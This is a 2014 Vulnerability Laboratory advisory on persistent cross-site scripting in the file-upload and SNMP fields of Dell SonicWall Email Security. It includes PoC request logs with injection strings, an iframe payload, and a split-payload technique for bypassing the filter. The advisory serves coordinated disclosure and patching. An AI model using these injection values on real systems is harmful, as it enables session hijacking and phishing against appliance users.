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Document Title:
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===============
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Dell SonicWall EMail Security Appliance Application v7.4.5 - Multiple Vulnerabilities
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1191
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Dell (SonicWall) Security Bulletin: http://www.sonicwall.com/us/shared/download/Support-Bulletin_Email-Security_Scripting_Vulnerability__Resolved_in__ES746.pdf
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Release Date:
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=============
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2014-03-26
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1191
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Common Vulnerability Scoring System:
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====================================
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3.5
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Product & Service Introduction:
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===============================
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While most businesses now have some type of anti-spam protection, many must deal with cumbersome
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management, frustrated users, inflexible solutions, and a higher-than-expected total cost of ownership.
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SonicWALL® Email Security can help. Elegantly simple to deploy, manage and use, award-winning SonicWALL
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Email Security solutions employ a variety of proven and patented technology designed to block spam and
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other threats effectively, easily and economically. With innovative protection techniques for both
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inbound and outbound email plus unique management tools, the Email Security platform delivers superior
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email protection today—while standing ready to stop the new attacks of tomorrow.
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SonicWALL Email Security can be flexibly deployed as a SonicWALL Email Security Appliance, as a software
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application on a third party Windows® server, or as a SonicWALL Email Security Virtual Appliance in a
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VMW® environment. The SonicWALL Email Security Virtual Appliance provides the same powerful protection as a
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traditional SonicWALL Email Security appliance, only in a virtual form, to optimize utilization,
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ease migration and reduce capital costs.
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(Copy of the Vendor Homepage: http://www.sonicwall.com/us/products/Anti-Spam_Email_Security.html)
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Abstract Advisory Information:
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==============================
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The Vulnerability Laboratory Research Team discovered multiple persistent input validation vulnerabilities in the official Dell SonicWall EMail Security Appliance v7.4.6 Web-Application.
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Vulnerability Disclosure Timeline:
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==================================
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2014-02-07: Researcher Notification & Coordination (Benjamin Kunz Mejri)
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2014-02-08: Vendor Notification (Dell Security Team)
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2014-02-14: Vendor Response/Feedback (Dell Security Team)
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2014-03-25: Vendor Fix/Patch (SonicWall Developer Team)
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2014-03-26: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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DELL SonicWall
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Product: EMail Security Appliance Application 7.4.5.1393
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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Medium
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Technical Details & Description:
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================================
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Multiple persistent input validation web vulnerabilities has been discovered in the official Dell SonicWall EMail Security Appliance v7.4.6 Web-Application.
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The vulnerability allows remote attackers or low privileged user accounts to inject own malicious script codes via POST method request to compromise the
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application or user session data/information.
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The first vulnerability is located in the `filename` value of the `settings_advanced.html` file. Remote attackers and low privileged application user accounts
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are able to inject own malicious script codes to the application-side of the `Advanced Settings - Patch hochladen > Patch-Datei` module. Attackers can manipulate
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the file upload POST method request by tampering the session. Next to tampering the session the attacker exchange the file name with a malicious script code
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as payload. In the next step the website reloads the next firmware upgrade page (wait.html) with the file details. The execute of the injected script code
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via POST method request occurs at the location of the listed file name value. The security risk of the persistent validation web vulnerability is estimated
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as medium with a cvss (common vulnerability scoring system) count of 3.5(-).
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The second vulnerability is located in the file name value of the settings_upload_dlicense.html file. Remote attackers and low privileged application user accounts
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are able to inject own malicious script codes to the application-side of the Lizenz Verwaltung - Lizenzen Upload module. The request method is POST and the attack
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vector is persistent. The execute occurs in the exception context of the license update page module. The security risk of the persistent validation web
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vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0(+).
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Exploitation of both vulnerabilities requires to bypass the regular validation of the web application appliance. To bypass the filter remote attackers can inject two
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payloads with a split in the middle. The validation encodes the first injected payload and the second after the split executes the code.
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Exploitation of the remote web vulnerabilities requires a privileged user account without user interaction or a remote user with medium to high user interaction.
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Successful exploitation of the persistent web vulnerabilities results in session hijacking, persistent external redirects, persistent phishing and persistent
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manipulation of vulnerable connected or affected modules.
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Request Method:
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[+] POST
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Vulnerable Module:
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[+] Advanced Settings - Patch hochladen > Patch-Datei (settings_advanced.html)
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[+] Lizenz Verwaltung - Lizenzen Upload > (settings_upload_dlicense.html)
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Vulnerable Parameter(s):
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[+] file name
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Affected Module(s):
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[+] Firmware Update - Waiting Page (wait.html)
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[+] License Update Page (exception)
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Affected Version(s):
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[+] 7.4.6
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Affected Appliance Model(s):
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[+] Dell SonicWall EMail Security Appliance Web Application - All Models
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Proof of Concept (PoC):
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=======================
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The two persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged email security application user account and
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low user interaction or without privileged web-application user account on client-side via POST inject. For security demonstration or to reproduce the
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vulnerability follow the provided information and steps below.
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URL: Input
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http://ess.localhost:8619/settings_advanced.html
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URL: Execute
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http://ess.localhost:8619/wait.html
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PoC: Firmware Update - Status Waiting Site
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<div style="border-radius: 10px;" class="warning_bubble_content">
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<div class="bubble_title">Die Firmware wird aktualisiert...</div>
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<div class="bubble_text">
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<div id="updaterMessage">
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Installationsdateien werden vorbereitet. Starten Sie keine Dienste neu!
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<div class="alert">Email Security ist immer noch mit der Verarbeitung von E-Mails beschäftigt.</div>
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</div>
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<div>Aktuelle Produktversion von Email Security 7.4.5.1393.</div>
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<div>Upgrade mit >>"%20<[PERSISTENT INJECTED SCRIPT CODE!]>.jpg.</div>
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<br>
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<div><div class="dotdot lefthand"></div></div>
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<div>Abgelaufene Zeit: <span id="updateMS">00:00:36</span></div>
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<div id="installProgressText" class="tail_trail"></div>
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</div>
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</div>
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--- PoC Session Logs [POST] ---
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Status: 302[Moved Temporarily]
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POST http://ess.localhost:8619/settings_advanced.html Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[text/html]
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Request Header:
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Host[esserver.demo.sonicwall.com]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://esserver.demo.sonicwall.com/settings_advanced.html]
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Cookie[s_cc=true; s_sq=%5B%5BB%5D%5D; JSESSIONID=48D1C2695CBD91CAAA187C5A9DFFD5DC]
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Connection[keep-alive]
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POST-Daten:
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POST_DATA[-----------------------------213272019431414
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Content-Disposition: form-data; name="sortFiles"
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false
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-----------------------------213272019431414
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Content-Disposition: form-data; name="smtpBanner"
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><><iframe src=http://www.vulnerability-lab.com/> ;)
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-----------------------------213272019431414
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Content-Disposition: form-data; name="receivedBy"
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-----------------------------213272019431414
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Content-Disposition: form-data; name="dnsTimeout"
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2
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-----------------------------213272019431414
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Content-Disposition: form-data; name="fullHistoryAgeDays"
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10
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-----------------------------213272019431414
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Content-Disposition: form-data; name="whiteListSelf"
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true
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-----------------------------213272019431414
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Content-Disposition: form-data; name="fullHistoryInbound"
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false
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-----------------------------213272019431414
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Content-Disposition: form-data; name="fullHistoryOutbound"
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false
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-----------------------------213272019431414
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Content-Disposition: form-data; name="logLevel"
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fatal
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-----------------------------213272019431414
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Content-Disposition: form-data; name="dbAging"
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366
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-----------------------------213272019431414
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Content-Disposition: form-data; name="snmpOn"
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true
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-----------------------------213272019431414
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Content-Disposition: form-data; name="snmpComStr"
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snwl>>"%20<[PERSISTENT INJECTED SCRIPT CODE!]>.jpg
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-----------------------------213272019431414
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Content-Disposition: form-data; name="uploadPatch"; filename=>>"%20<[PERSISTENT INJECTED SCRIPT CODE!]>.jpg"
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Content-Type: image/jpeg
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1.2
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URL: Input
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http://ess.localhost:8619/settings_dlicense.html
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URL: Execute
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http://ess.localhost:8619/settings_upload_dlicense.html
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--- PoC Session Logs [POST] ---
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Status: 200[OK]
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POST http://ess.localhost:8619/settings_upload_dlicense.html Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html]
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Request Header:
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Host[esserver.demo.sonicwall.com]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://esserver.demo.sonicwall.com/settings_upload_dlicense.html]
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Cookie[s_cc=true; s_sq=%5B%5BB%5D%5D;
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JSESSIONID=48D1C2695CBD91CAAA187C5A9DFFD5DC; __utma=227649090.1810522928.
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1391719457.1391719457.1391719457.1; __utmb=227649090.2.10.1391719457; __utmc=227649090; __utmz=227649090.1391719457.1.
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1.utmcsr=esserver.demo.sonicwall.com|utmccn=(referral)|utmcmd=referral|utmcct=/settings_branding.html; __utmv=227649090.|
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1=User%3AUnkown=Unknown=1; s_vi=[CS]v1|2979FA11051D0AC5-40000137600ADB77[CE]]
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Connection[keep-alive]
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POST-Daten:
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POST_DATA[-----------------------------281841889227097
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Content-Disposition: form-data; name="uploadLicenses"; filename=">>"%20<[PERSISTENT INJECTED SCRIPT CODE!]>.jpg"
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Content-Type: image/jpeg
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Solution - Fix & Patch:
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=======================
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Both vulnerabilities can be patched by a secure parse and encode of the file name value in the 2 affected upload POST method requests.
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Filter and encode also in the wait.html and license exception the vulnerable output values even if the input is still parsed.
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SonicWall Solution:
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============
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We recommend existing users of Dell SonicWALL Email Security upgrade to version 7.4.6 to prevent this cross-site script injection from being executed by unauthorized users.
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Email Security 7.4.6 is available for download from www.mysonicwall.com. Users should log into mySonicWALL and click on Downloads > Download Center in the navigation panel
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in the left-hand navigation, then select “Email Security” in the Software Type drop down menu.
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Security Risk:
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==============
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The security risk of the persistent and non persistent post inject web vulnerabilities are estimated as medium.
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
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or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
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Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
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Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
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Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
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Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
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media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
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modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
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Copyright © 2014 | Vulnerability Laboratory [Evolution Security]
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--
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VULNERABILITY LABORATORY RESEARCH TEAM
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DOMAIN: www.vulnerability-lab.com
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CONTACT: research@vulnerability-lab.com |